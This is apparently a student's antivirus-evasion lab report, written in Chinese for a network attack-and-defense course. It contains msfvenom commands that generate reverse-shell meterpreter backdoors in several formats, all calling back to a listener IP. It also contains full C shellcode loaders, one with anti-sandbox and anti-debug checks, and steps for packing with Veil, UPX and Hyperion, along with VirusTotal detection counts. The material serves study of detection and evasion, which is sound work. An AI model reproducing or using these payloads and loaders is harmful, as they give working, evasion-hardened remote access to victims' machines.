20232320 2025-2026-1 《網(wǎng)絡(luò)與系統(tǒng)攻防技術(shù)》實(shí)驗(yàn)三實(shí)驗(yàn)報(bào)告
1.實(shí)驗(yàn)內(nèi)容
主要是各種工具和命令的使用
(1)MSFVenom編碼器使用,生成EXE、JAR、PHP、Python等多種格式文件
使用-e參數(shù)選擇編碼器,如x86/shikata_ga_nai
使用-i參數(shù)設(shè)置編碼次數(shù)
使用-f參數(shù)指定輸出格式
(2)Veil-Evasion工具
啟動(dòng)veil-evasion工具,選擇payload類型和參數(shù),輸入文件名自動(dòng)生成免殺文件
(3)UPX壓縮
通過(guò)壓縮改變文件特征,減小文件體積,增加靜態(tài)分析難度
(4)C語(yǔ)言+Shellcode編程
將shellcode嵌入C語(yǔ)言程序,在內(nèi)存中動(dòng)態(tài)執(zhí)行shellcode,避免文件靜態(tài)檢測(cè)
用MSFVenom生成原始shellcode,編寫C語(yǔ)言加載器程序,使用交叉編譯生成Windows可執(zhí)行文件
2.實(shí)驗(yàn)過(guò)程
回答問(wèn)題
(1)殺軟是如何檢測(cè)出惡意代碼的?
殺軟的檢測(cè)機(jī)制主要分為兩大類:靜態(tài)特征檢測(cè)和動(dòng)態(tài)行為檢測(cè)
·靜態(tài)特征檢測(cè)——“長(zhǎng)什么樣”
殺軟擁有一個(gè)龐大的病毒特征數(shù)據(jù)庫(kù),通過(guò)將文件與特征庫(kù)進(jìn)行比對(duì),匹配則判定為惡意軟件
·動(dòng)態(tài)行為檢測(cè)——“要做什么”
殺毒軟件在一個(gè)隔離的虛擬環(huán)境(沙盒)中運(yùn)行程序一小段時(shí)間,監(jiān)控其行為,看這個(gè)程序的真實(shí)目的
(2)免殺是做什么?
免殺,指“免于被殺毒軟件查殺”,是通過(guò)一系列技術(shù)手段,使其能繞過(guò)殺毒軟件的檢測(cè)在目標(biāo)機(jī)上成功運(yùn)行不被發(fā)覺
(3)免殺的基本方法有哪些?
與殺軟的原理相似,免殺的方法也大致分為兩種:靜態(tài)免殺和動(dòng)態(tài)免殺
·靜態(tài)免殺:在不運(yùn)行程序的情況下,改變惡意軟件的文件特征,使其無(wú)法被殺毒軟件的靜態(tài)掃描引擎識(shí)別
a.編碼與加密:加密核心功能,包裹一層簡(jiǎn)單的解密程序,殺軟掃描時(shí)只能看到加密后的亂碼和解密代碼
b.加殼與打包:使用專門的工具(稱為殼)將原始程序壓縮、加密,并附加一段解殼代碼,運(yùn)行時(shí)解殼代碼先在內(nèi)存中還原原始程序,再跳轉(zhuǎn)執(zhí)行
c.文件格式混淆:改變可執(zhí)行文件的結(jié)構(gòu)(入口點(diǎn)、重命名等),但保持其功能不變
d. 分離式加載:將一個(gè)無(wú)害的下載器投遞到目標(biāo)主機(jī),這個(gè)下載器在運(yùn)行時(shí)從遠(yuǎn)程服務(wù)器(如GitHub、云存儲(chǔ)、Pastebin)下載惡意的核心模塊到內(nèi)存中直接執(zhí)行
·動(dòng)態(tài)免殺
a.反沙箱與反虛擬機(jī):程序在啟動(dòng)時(shí)檢測(cè)自己是否運(yùn)行在分析環(huán)境中(內(nèi)存大小、CPU核心數(shù)、硬盤大小)
b.環(huán)境感知與延時(shí)執(zhí)行:動(dòng)態(tài)監(jiān)測(cè)通常只執(zhí)行很短一段時(shí)間,惡意程序不會(huì)立即執(zhí)行,而是等待特定的條件或信號(hào)(點(diǎn)擊、移動(dòng)鼠標(biāo)、按下特定鍵、特定時(shí)間點(diǎn))
c.進(jìn)程注入與傀儡進(jìn)程:將惡意代碼注入到一個(gè)合法進(jìn)程中
d.API 混淆與間接調(diào)用:不直接調(diào)用敏感的Windows API,通過(guò)動(dòng)態(tài)獲取函數(shù)地址等方法調(diào)用
進(jìn)行實(shí)驗(yàn)
實(shí)驗(yàn)中使用virustotal作為檢測(cè)標(biāo)準(zhǔn)
https://www.virustotal.com/gui/home/upload

(1)使用msf編碼器,veil-evasion,自己利用shellcode編程等免殺工具或技巧
使用msf編碼器生成exe文件
使用上個(gè)實(shí)驗(yàn)中生成的單次編碼的exe文件msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.129 LPORT=8888 -f exe > 20232320backdoor.exe
參數(shù)解析:
-p windows/meterpreter/reverse_tcp:指定payload類型:目標(biāo)操作系統(tǒng)為Windows,使用Metasploit的高級(jí)后門,使用反向TCP連接
LHOST=192.168.190.129:監(jiān)聽主機(jī)的IP地址
LPORT=8888:監(jiān)聽端口號(hào)
-f exe:指定輸出格式為Windows可執(zhí)行文件格式
放入virustotal進(jìn)行檢測(cè)

結(jié)果為49/72,以此作為檢測(cè)標(biāo)準(zhǔn)與后面的文件比較
利用msf編碼器生成多次編碼的exe文件msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.190.129 LPORT=8888 -f exe > 20232320hxyexe.exe
參數(shù)解析:
-e x86/shikata_ga_nai指定編碼器為多態(tài)編碼器,每次編碼結(jié)果都不同
-i 10對(duì)Payload進(jìn)行10次重復(fù)編碼
-b '\x00'避免在Payload中使用空字節(jié)(0x00),空字節(jié)在字符串處理中會(huì)截?cái)鄶?shù)據(jù)

傳到本機(jī)ncat.exe -lv 8888 > "D:\Desktop\20232320backdoor.exe"

對(duì)該文件進(jìn)行檢測(cè)

結(jié)果為43/72,比單次編碼稍微少一點(diǎn)但是效果不是很明顯,說(shuō)明多次編碼對(duì)exe文件免殺有一定效果
msf編碼器生成Jar文件
生成單次編碼的jar文件
msfvenom -p java/meterpreter/reverse tcp LHOST=192.168.190.129 LPORT=8888 x>20232320hxyjar1.jar

通過(guò)ncat傳輸ncat.exe -lv 8888>"D:\Desktop\20232320hxyjar1.jar"


放入檢測(cè)

得到35/64,再進(jìn)行多次編碼進(jìn)行比較
重新生成多次編碼的jar包msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.190.129 LPORT=8888 -f jar > 20232320hxyjar2.jar

同樣的使用ncat傳到本機(jī)中,放到virustotal檢測(cè)

35/64沒有任何改變,說(shuō)明編碼次數(shù)對(duì)于jar文件的免殺效果沒有什么提升
生成php文件
直接將payload輸出到php文件中msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.190.129 LPORT=8888 -f raw > 20232320hxyphp1.php
在kali文件夾中找到這個(gè)文件,復(fù)制粘貼到本機(jī)(比ncat傳輸更加方便),放入檢測(cè)

得到結(jié)果25/62,再進(jìn)行多次編碼來(lái)對(duì)比
同樣的對(duì)php文件也進(jìn)行多次編碼msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.190.129 LPORT=8888 -f raw > 20232320hxyphp2.php
粘貼到本機(jī)進(jìn)行檢測(cè)

可以看到結(jié)果為9/62,提升了不少,多次編碼對(duì)PHP文件的免殺效果提升顯著
使用Python腳本(py)文件
構(gòu)建py文件msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.190.129 LPORT=8888 -f py > 20232320hxypy1.py

放到virustotal里然后令人驚訝的事情發(fā)生了

竟然達(dá)到了0/62,為了驗(yàn)證不是因?yàn)橹坝龅竭^(guò)的沒有傳輸過(guò)來(lái)的問(wèn)題,查看了一下文件屬性

確確實(shí)實(shí)是傳過(guò)來(lái)了,看來(lái)Python文件病毒在免殺方面有突出的效果,無(wú)論是攻擊方還是防范方都應(yīng)該重視一下
使用veil工具進(jìn)行免殺處理
下載veil
手動(dòng)進(jìn)行安裝sudo apt install veil


(等待安裝,耗時(shí)較長(zhǎng))
安裝成功后打開,使用use 1選項(xiàng)


打開list查看

選擇use 7,按照之前實(shí)驗(yàn)中配置反彈連接的IP和端口
set LHOST 192.168.190.129
set LPORT 8888
最后使用generate生成

生成后找到文件,復(fù)制到virustotal檢測(cè)


結(jié)果為38/71,veil也有一點(diǎn)點(diǎn)效果但是還是被檢測(cè)出很多
使用C + shellcode編程
生成Shellcode源代碼,將Shellcode編寫進(jìn)C語(yǔ)言源代碼之后再編譯成可執(zhí)行文件exe
生成shellcode,輸入以下命令
cat > shellcode.c << 'EOF'
#include <windows.h>
int main() {
unsigned char shellcode[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x31\xff\x0f\xb7"
"\x4a\x26\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x8b\x42\x3c\x57\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18"
"\x8b\x58\x20\x01\xd3\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34"
"\x8b\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
"\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
"\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
"\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xbe\x81\x68\x02\x00"
"\x22\xb8\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74"
"\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
"\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
"\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"
"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";
// 分配可執(zhí)行內(nèi)存
LPVOID memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (memory == NULL) return 1;
// 復(fù)制Shellcode到內(nèi)存
RtlMoveMemory(memory, shellcode, sizeof(shellcode));
// 執(zhí)行Shellcode
((void(*)())memory)();
ret

編譯成exe文件i686-w64-mingw32-gcc -o 20232320hxyshellcode.exe shellcode.c -s

將該文件復(fù)制到本機(jī)中進(jìn)行檢測(cè)

結(jié)果是33/72,怎么說(shuō)也比veil處理好一些
壓縮殼UPX加密
對(duì)上一步生成的exe文件進(jìn)行加殼upx 20232320hxyshellcode.exe -o 20232320hxyshellcode_upx.exe

virustotal檢測(cè)

結(jié)果為33/72,還是一個(gè)比較平均的水平吧
壓縮殼Hyperion加密
將upx加殼的文件復(fù)制到Hyperion工具所在的工作目錄

進(jìn)入/usr/share/windows-resources/hyperion/目錄并對(duì)復(fù)制來(lái)的文件進(jìn)行Hyperion加密處理



將加密后的文件放入virustotal檢測(cè)

檢測(cè)結(jié)果49/72,還不如不要進(jìn)行Hyperion加密,看來(lái)Hyperion加密很多特征都已經(jīng)被入庫(kù)了,包括上面的一些技術(shù),畢竟都是一些很經(jīng)典的技術(shù)手段,也不要妄想能通過(guò)這樣簡(jiǎn)單的操作騙過(guò)一直在更新優(yōu)化的殺軟
(2)通過(guò)組合應(yīng)用各種技術(shù)實(shí)現(xiàn)惡意代碼免殺
結(jié)合上面的各種嘗試,我最終決定的方案是原始Payload → 編碼混淆 → Veil生成 → Shellcode轉(zhuǎn)換 → 自定義Loader → Hyperion加密 → UPX壓縮
1.MSFVenom多重編碼
生成多重編碼的Payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.129 LPORT=8888 \
-e x86/shikata_ga_nai -i 10 -f raw -o 20232320final.bin

2.Veil生成Loader
依次輸入
> use 1
> list
> use 7
> set LHOST 192.168.190.129
> set LPORT 8888
> generate
> 輸入文件名:20232320finalveil

3.創(chuàng)建Shellcode
查看一下shellcode的內(nèi)容(這里沒有展示完全)

使用命令創(chuàng)建文件
cat > 20232320final_loader.cpp << 'EOF'
#include <windows.h>
#include <stdio.h>
// 20232320final.bin 的完整 Shellcode
unsigned char shellcode[] = {
0xba, 0x9f, 0xee, 0xf7, 0x5b, 0xdb, 0xd0, 0xd9, 0x74, 0x24, 0xf4, 0x5e,
0x33, 0xc9, 0xb1, 0x96, 0x31, 0x56, 0x13, 0x83, 0xc6, 0x04, 0x03, 0x56,
0x90, 0x0c, 0x02, 0x82, 0x4f, 0x09, 0x99, 0x11, 0x7b, 0x17, 0xa5, 0x16,
0x63, 0xe1, 0x75, 0x94, 0xaa, 0x43, 0x06, 0xeb, 0x43, 0xbd, 0x1a, 0x63,
0x82, 0x3e, 0xdb, 0x7f, 0x91, 0xf9, 0xb9, 0x79, 0x0a, 0x9c, 0x3c, 0x46,
0x42, 0xec, 0x4a, 0x91, 0x9e, 0x0a, 0x68, 0xc0, 0xcb, 0x3a, 0x82, 0x76,
0x73, 0xe6, 0x1b, 0x3f, 0xda, 0x27, 0x77, 0xea, 0xcb, 0x7e, 0x49, 0x3f,
0x61, 0x4f, 0x9f, 0xd5, 0x35, 0x71, 0x76, 0x84, 0xa9, 0x1c, 0xf9, 0xb3,
0xa7, 0xf8, 0x5f, 0x1b, 0xa8, 0x45, 0x00, 0x7b, 0xf7, 0x8c, 0x1e, 0x42,
0x13, 0x79, 0x52, 0x5a, 0x47, 0x0a, 0x86, 0xbb, 0x44, 0xfe, 0x9d, 0x93,
0x26, 0x8f, 0xc5, 0xac, 0xe0, 0x3a, 0xe6, 0x43, 0xf0, 0xa8, 0x64, 0x1a,
0x62, 0x86, 0xc5, 0xbe, 0x90, 0x99, 0x7f, 0xf8, 0xea, 0x20, 0x9a, 0xcb,
0x2c, 0x5f, 0x43, 0xe1, 0x08, 0x99, 0xf8, 0x34, 0x99, 0xf7, 0x9b, 0x03,
0x7f, 0x80, 0xae, 0x8c, 0xe2, 0x90, 0x46, 0x2c, 0x19, 0xf1, 0x3f, 0xdd,
0x0c, 0x24, 0xad, 0x41, 0x0a, 0x75, 0x5d, 0xc0, 0x6a, 0x89, 0xb1, 0xe9,
0x60, 0xd7, 0x16, 0x26, 0x3b, 0x6a, 0x4d, 0x27, 0x76, 0x99, 0x65, 0x57,
0x86, 0x6d, 0x67, 0x38, 0x3e, 0xf5, 0x5e, 0x7a, 0xe7, 0x62, 0x57, 0xf1,
0xe7, 0x47, 0x70, 0xd1, 0xb8, 0xba, 0x4e, 0x0d, 0x9a, 0xea, 0xff, 0x4e,
0x9a, 0xdb, 0x04, 0xa1, 0x55, 0x8e, 0xa5, 0x32, 0xd0, 0x52, 0xca, 0x27,
0xc3, 0x0d, 0xa8, 0x10, 0xae, 0xec, 0xde, 0x01, 0xd3, 0x27, 0x18, 0x85,
0x13, 0x98, 0x91, 0x80, 0xa8, 0x1e, 0x90, 0x40, 0x1c, 0xd0, 0x95, 0x79,
0x7d, 0x48, 0x84, 0x6e, 0x71, 0xd8, 0x63, 0x5b, 0x3e, 0x83, 0x12, 0xb8,
0x14, 0x6d, 0xa4, 0xd6, 0x10, 0x89, 0x57, 0xfb, 0xce, 0x4b, 0x54, 0xf2,
0x37, 0x8f, 0x75, 0x13, 0x96, 0x03, 0xb9, 0xcf, 0x42, 0xba, 0x0e, 0x9a,
0xe2, 0xd0, 0xfe, 0x0a, 0x70, 0x8f, 0x70, 0x09, 0xa9, 0xb4, 0x60, 0xc2,
0x79, 0x80, 0x0f, 0xf4, 0x02, 0x89, 0x43, 0xd4, 0x7c, 0xb9, 0xe2, 0x63,
0xfd, 0x8d, 0x9e, 0xea, 0xde, 0x78, 0x23, 0x91, 0x41, 0x3d, 0x66, 0xfc,
0x39, 0x93, 0x85, 0x1e, 0x96, 0x50, 0xa4, 0x25, 0x26, 0x70, 0x39, 0xc1,
0x5e, 0x4f, 0x23, 0xbc, 0x15, 0x39, 0x62, 0x0b, 0x6d, 0x3f, 0xde, 0x71,
0x29, 0x27, 0x88, 0x61, 0xb6, 0x9d, 0xa8, 0x90, 0xa0, 0x71, 0x6b, 0x9f,
0x74, 0x1c, 0x4b, 0x41, 0xd8, 0x07, 0xa4, 0x99, 0xe4, 0xd0, 0xa3, 0x02,
0x8e, 0x30, 0xc7, 0xbc, 0x39, 0x7b, 0x69, 0x26, 0x0a, 0xd9, 0x4c, 0xf1,
0x67, 0xf0, 0x23, 0x72, 0x23, 0x8c, 0xce, 0xc8, 0x8e, 0xbc, 0xb8, 0x69,
0xe7, 0x11, 0x70, 0xb2, 0x74, 0x95, 0x2e, 0xbb, 0xfa, 0x5e, 0x5c, 0x49,
0x3b, 0x6f, 0xfa, 0xe8, 0xa9, 0x2a, 0x61, 0xfe, 0xc6, 0x3b, 0x37, 0xa4,
0x8c, 0xa7, 0x94, 0xd1, 0x69, 0x82, 0x4c, 0xab, 0xd4, 0x8b, 0x51, 0x81,
0xad, 0x3e, 0x83, 0xfb, 0x1e, 0xad, 0x18, 0x0a, 0x26, 0xf6, 0x9e, 0x8f,
0xe5, 0x4b, 0xa2, 0x62, 0x57, 0x25, 0xa5, 0x88, 0xf9, 0x01, 0x55, 0xa2,
0xda, 0x6c, 0xc3, 0x5b, 0x07, 0x6e, 0x3a, 0x7f, 0xba, 0xa1, 0x36, 0xc6,
0xae, 0x29, 0x62, 0x4d, 0x3b, 0x08, 0xf2, 0x25, 0xe5, 0x55, 0x70, 0xf6,
0x9d, 0x4d, 0xae, 0x45, 0xba, 0x41, 0x5f, 0xdf, 0x1a, 0xae, 0x78, 0x9c,
0xb7, 0x3c, 0x46, 0x4b, 0x87, 0x06, 0x39, 0x20, 0x30, 0x14, 0xf7, 0xdb,
0x8d, 0x29, 0xda, 0xac, 0x37, 0x53, 0x75, 0x89, 0xdf, 0x1e, 0x7c, 0x10,
0x1d, 0xaa, 0x0e, 0x26, 0xe0, 0xce, 0x88, 0xc7, 0xb7, 0x97, 0x53, 0xdc,
0xaf, 0x4f, 0x4e, 0x80, 0x6a, 0x2e, 0xec, 0x69, 0x3f, 0xf5, 0x2f, 0xf7,
0x83, 0xa4, 0x18, 0xd6, 0x74, 0xb8, 0xf3, 0x58, 0x9e, 0x62, 0x14, 0x85,
0x87, 0x0a, 0xb4, 0x98, 0xc6, 0xa9, 0xb4, 0x08, 0x1d, 0x4f, 0xe7, 0x05,
0xd1, 0x92, 0x29, 0x6e, 0x79, 0x65, 0xc1, 0x90, 0x80, 0xc0, 0x72, 0x4b,
0xb8, 0x58, 0xd4, 0x25, 0x69, 0xc5, 0xb5, 0x4a, 0xdb, 0xe2, 0x99, 0x8f,
0x88, 0x4e, 0x70, 0x76, 0x39, 0x14, 0x41, 0xca, 0xba, 0xd8, 0x0d, 0x09,
0x70, 0x9c, 0x6f, 0xdf, 0x0e, 0x87, 0x54, 0xbb, 0xd6, 0xf4, 0x66, 0x2a,
0xa6, 0x21, 0x93, 0xe8, 0x70, 0x49, 0xda, 0xf3, 0x4b, 0x1d, 0x5c, 0x6d
};
unsigned int shellcode_len = sizeof(shellcode);
// 反沙箱檢測(cè) - 檢查鼠標(biāo)活動(dòng)
bool IsSafeEnvironment() {
POINT cursorPos1, cursorPos2;
GetCursorPos(&cursorPos1);
Sleep(3000);
GetCursorPos(&cursorPos2);
return (cursorPos1.x != cursorPos2.x || cursorPos1.y != cursorPos2.y);
}
// 反調(diào)試檢測(cè)
bool IsBeingDebugged() {
return IsDebuggerPresent();
}
int main() {
printf("[*] 20232320final Loader Starting...\n");
if (IsBeingDebugged()) {
printf("[!] Debugger detected, exiting...\n");
return 0;
}
if (!IsSafeEnvironment()) {
printf("[!] Sandbox detected, exiting...\n");
return 0;
}
printf("[+] Environment check passed\n");
printf("[+] Shellcode size: %d bytes\n", shellcode_len);
LPVOID execMemory = VirtualAlloc(NULL, shellcode_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (execMemory == NULL) {
printf("[!] Memory allocation failed\n");
return 1;
}
printf("[+] Memory allocated at: 0x%p\n", execMemory);
RtlMoveMemory(execMemory, shellcode, shellcode_len);
printf("[+] Executing shellcode...\n");
((void(*)())execMemory)();
return 0;
}
EOF

4.編譯為exe文件

5.Hyperion加密
cd /usr/share/windows-resources/hyperion
wine hyperion.exe -v /path/to/20232320final_loader.exe 20232320final_encrypted.exe

復(fù)制到kali目錄下方便查找

6.UPX壓縮
upx --ultra-brute 20232320final_encrypted.exe -o 20232320final_compressed.exe

把這個(gè)成品放到virustotal去檢測(cè),本來(lái)以為會(huì)稍微好一點(diǎn)吧但是得到了這樣

(還不如沒有組合應(yīng)用過(guò)的)
好吧我們拿去給殺軟看看
這里使用的是火絨和聯(lián)想電腦管家,版本如下:

(火絨)

(聯(lián)想電腦管家)
先是給聯(lián)想電腦管家掃描(我把實(shí)驗(yàn)三的所有后門文件移到了一個(gè)文件夾中一并掃描比較)



掃描結(jié)果是14個(gè)文件發(fā)現(xiàn)了11個(gè),有3個(gè)沒有識(shí)別出,很不幸的是我們費(fèi)勁周章做出的組合技術(shù)那個(gè)20232320final_compressed.exe也被識(shí)別出來(lái)了
拿給火絨也試一遍

火絨發(fā)現(xiàn)了7個(gè)
硬著頭皮試試監(jiān)聽吧

不出意外地失敗了


即使選擇了信任也是無(wú)法連接
要想連接只能把安全保護(hù)關(guān)掉

這之前火絨還把我的后門都刪掉了。。

(很命苦的一群后門病毒)
做完實(shí)驗(yàn)別忘記把安全保護(hù)打開哦~
3.問(wèn)題及解決方案
- 問(wèn)題1:多次編碼exe文件放入virustotal檢測(cè)得到結(jié)果是0
![ef9705e6e4c1e60ad624ad3d5a28e67]()
- 問(wèn)題1解決方案:查看文件屬性中字節(jié)是0,kali中未使用命令
nc 192.168.5.9 8888<20232320hxyexe.exe將文件傳輸過(guò)來(lái)
![47272dc267ef039f96a22e14d75f054]()
![83c70830ffa52b32ce6f0da52127fc9]()
后續(xù)發(fā)現(xiàn)將kali目錄下文件復(fù)制粘貼到本機(jī)中更加方便快捷 - 問(wèn)題2:Veil安裝沒有完成,出現(xiàn)了AutoIT組件缺失的錯(cuò)誤
![ff5599dd30417e5ea4f385bbb355054]()
- 問(wèn)題2解決方案:使用force和silent參數(shù)強(qiáng)制完成安裝
sudo /usr/share/veil/config/setup.sh --force --silent
![d3f738d2da8c81f80f1c64900cc3eb6]()
- 問(wèn)題3:進(jìn)行veil加殼處理后的文件檢測(cè)得到0
![1c962b106a0a8592c666388003fa0db]()
- 問(wèn)題3解決方案:選擇文件錯(cuò)誤,檢測(cè)的是exe文件不是c文件
![03a502c9b0cb047c23db338d84045b9]()
(不是這個(gè))
![26b730c72fc623ea163cabd0839ec57]()
(是這個(gè))
![8f18173b2350a9498f5a63fa757f76b]()
4.學(xué)習(xí)感悟及思考
本次實(shí)驗(yàn)比起真的要自己做出能騙過(guò)殺軟并且在殺軟開啟時(shí)成功連接的病毒的實(shí)驗(yàn)結(jié)果,我認(rèn)為更重要的是實(shí)驗(yàn)過(guò)程,親身體會(huì)每一種免殺的技術(shù)手段,比較各種技術(shù)的免殺結(jié)果,然后基于此不斷完善殺軟的檢測(cè)方法,提高對(duì)于病毒檢測(cè)的成功率,這也是現(xiàn)在以及未來(lái)殺軟的發(fā)展方向。
目前殺軟的檢測(cè)大多數(shù)是針對(duì)特征碼,這種靜態(tài)的識(shí)別固然有其優(yōu)勢(shì),但是各種免殺技術(shù)不斷更新迭代,只是讓殺軟幫助我們防范肯定不是萬(wàn)全之策,我們也不能高枕無(wú)憂,首先從我們自己的行為來(lái)阻斷病毒的傳播一定是無(wú)論何時(shí)都需注意的,不點(diǎn)擊來(lái)路不明的鏈接和下載不明軟件,警惕社會(huì)工程學(xué)的攻擊,網(wǎng)絡(luò)攻防不僅僅是技術(shù)上的,還有更多方面也應(yīng)兩手抓、多手抓。
參考資料
https://blog.csdn.net/leah126/article/details/145620326
http://www.rzrgm.cn/20222408msy/p/18505326







浙公網(wǎng)安備 33010602011771號(hào)